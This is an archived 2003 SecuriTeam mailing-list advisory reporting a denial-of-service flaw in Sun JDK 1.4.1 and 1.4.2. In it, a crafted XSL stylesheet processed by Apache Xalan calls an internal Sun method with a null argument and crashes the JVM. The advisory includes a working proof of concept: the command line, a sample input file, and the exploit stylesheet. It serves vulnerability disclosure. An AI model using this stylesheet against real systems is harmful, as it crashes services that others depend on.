

Securiteam: [NEWS] Denial of Service and JVM Crash via User Injectable XSL Template (toStdout)

[NEWS] Denial of Service and JVM Crash via User Injectable XSL Template (toStdout)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0074.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/21/03

To: list@securiteam.com

Date: 21 Sep 2003 13:46:50 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Denial of Service and JVM Crash via User Injectable XSL Template
(toStdout)

SUMMARY

A vulnerability in Sun's JVM allows local attackers to crash the Apache XALAN by causing it to parse malformed XML/XSLT data.

DETAILS

Vulnerable systems:

- * JDK version 1.4.1
- * JDK version 1.4.2

Exploit:

Command:

```
c:\java\1.4.2\00\jre\bin\java org.apache.xalan.xslt.Process -IN a.xml -xsl sunexploit.xml
```

```
=====a.xml=====
(a)
=====a.xml=====
```

Securiteam: [NEWS] Denial of Service and JVM Crash via User Injectable XSL Template (toStdout)

```
=====sunexploit.xsl=====
(!-- XSLT JDK-Exploit by Marc Schoenefeld , marc@at@illegalaccess.org --)
(xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:sun="sun")
  (xsl:template match="/")
    (xsl:variable name="tmp"
select="sun:misc.MessageUtils.toStdout(null)"/)
      (xsl:variable name="tmp2"
select="sun:misc.MessageUtils.toStdout($tmp)"/)
        (xsl:value-of select="$tmp2" /)
      (/xsl:template)
(/xsl:stylesheet)
=====sunexploit.xsl=====
```

ADDITIONAL INFORMATION

The original advisory can be found at: <<http://www.illegalaccess.org/>>
<http://www.illegalaccess.org/>.

The information has been provided by <<mailto:marc@beauchamp.de>> Marc Schoenefeld.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.